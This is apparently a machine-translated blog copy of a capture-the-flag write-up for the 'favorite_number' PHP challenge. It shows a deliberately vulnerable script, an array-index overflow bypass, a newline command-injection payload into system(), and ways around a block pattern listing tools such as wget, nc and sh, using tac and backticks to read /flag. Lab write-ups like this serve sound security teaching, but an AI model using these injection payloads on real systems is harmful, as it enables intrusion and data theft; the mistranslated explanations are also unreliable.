当前位置:网站首页>Attack and defense world ----- favorite_ number
Attack and defense world ----- favorite_ number
2022-07-21 19:41:00 【jjj34】
Knowledge point 1 php5.5.9 Version number overflow vulnerability
Knowledge point 2 Code execution bypass techniques
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {、
// Here we use the digital overflow vulnerability ,
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
// Here we use the knowledge points of bypassing
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
1. Digital overflow vulnerability
Loophole principle
namely , When Array Nine digits 16 Number of hours , It will overflow , Equivalent to reordering ,16 Of 8 The power is 4294967296 Logically equivalent to subscript 0;
16 The octave of = 4294967296;
Problem solving :
step 1
$stuff === $array && $stuff[0] != 'admin'
According to this line of code, our construction parameters are
stuff[4294967296]=admin&stuff[1]=user
step 2
system("echo ".$num);
notice system function , Guess it's a command execution vulnerability , Use the truncation character (%0a, Line feed ) To execute orders
Construction parameters
num=1%0als
payload by
stuff[4294967296]=admin&stuff[1]=user&num=1%0als
Put the parameters in hackbar perform ( Because the parameter is post Requested ) And through bp Intercept post Request package
be aware %0D%0A, This is windows System truncation character , Replace it with %0a Then you can execute the command
( there a Case insensitive )
Successfully find the vulnerability
step 2
The next step is to bypass
!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)
// These characters are filtered
sh,wget,nc,python,php,perl,?,flag,},cat,echo,*,^,],\,',",|
frequently-used , Such as ls Not filtered
that + Because this character is url It's encoded , So the blank space has to be used + Number to replace
solve cat banned
because cat By ban 了 , So we use tac,tac The order is the opposite cat command .
cat The command is output from the first line to the last line ,tac Is the output from the last line to the first line
solve flag banned
Try fla*, Find out * It's also banned
The problem is how to give tac Pass on /flag Parameters
The way 1, Official explanation
By writing to a file /flag route , Then get through this file /flag
One after another to zer0b File is written to /fla,g form /flag, Re pass tac Command acquisition zer0b The content of , Can get /flag
`, This symbol ( On the keyboard tab Above key ) stay linux Is equivalent to the priority Authority
tac `tac /tmp/zer0b` This command execution process
First, execute `` The content in is tac /tmp/zer0b The execution result is /flag
Secondly, execute the whole statement, that is tac /flag
Succeed in getting flag
边栏推荐
- Comparison of four bean copying tools
- Ripple test of DC DC switching power supply
- 载二氢丹参酮Ⅰ白蛋白纳米粒/去甲斑蝥素白蛋白纳米粒/伏立康唑白蛋白纳米粒的制备研究
- 作业正则 sed
- LeetCode:1260. Two dimensional mesh migration [one dimensional expansion + splicing]
- Aardio - function execution failed retry test
- 342个中、英文等NLP开源数据集分享
- armv8 DVFS
- 电磁场与电磁波实验三 熟悉Mathematica软件在电磁场领域的应用
- 26. GD32F103C8T6入门教程--正交编码器的使用
猜你喜欢
2035. 将数组分成两个数组并最小化数组和的差 折半搜索
FTXUI基础笔记(checkbox复选框组件)
Lombok simplifies development
笔试强训第20天
元素类型为 “resultMap“ 的内容必须匹配 “(constructor?,id*,result*,association*,collection*,discriminato?)“
FPGA逻辑资源评估之BRAM(以Xilinx为例)
unittest测试框架原理及测试流程解析,看完绝对有提升
(1)达梦数据库模型分析
Implementation method of SuperMap iclient for openlayers layer group control
Technical post | the three most common network card software problems of a40i are analyzed for you one by one
随机推荐
Clickhouse in-depth disclosure
2022全网最火免费中文版-《深度学习在图像处理中的应用教程》免费分享
【.net core】yisha框架动态加载表格表头
Ripple test of DC DC switching power supply
Verilog语法基础HDL Bits训练 03
(2)达梦数据库匹配
Verilog grammar basics HDL bits training 03
Lexin esp-rtc real-time audio and video communication scheme
dc-dc开关电源的纹波测试
蚓激酶白蛋白纳米粒/红细胞膜定向包裹血红蛋白-白蛋白纳米粒的研究制备
Technical post | the three most common network card software problems of a40i are analyzed for you one by one
Redis+caffeine two-level cache enables smooth access speed
Codeworks 5 questions per day (average 1500) - day 21
DOM event flow (event capture and event bubbling)
技術帖 | A40i最常見的3種網卡軟件問題,為你逐一分析
Solve the error: uncaught typeerror: cannot read properties of undefined (reading 'install')
The 22 pictures show you in-depth analysis of prefix, infix, suffix expressions and expression evaluation
机器学习 sklearn数据集
Résoudre l'erreur signalée: uncaught typeerror: impossible de lire les propriétés sous - jacentes (lire « installer»)
harbor scanner 从原理到构建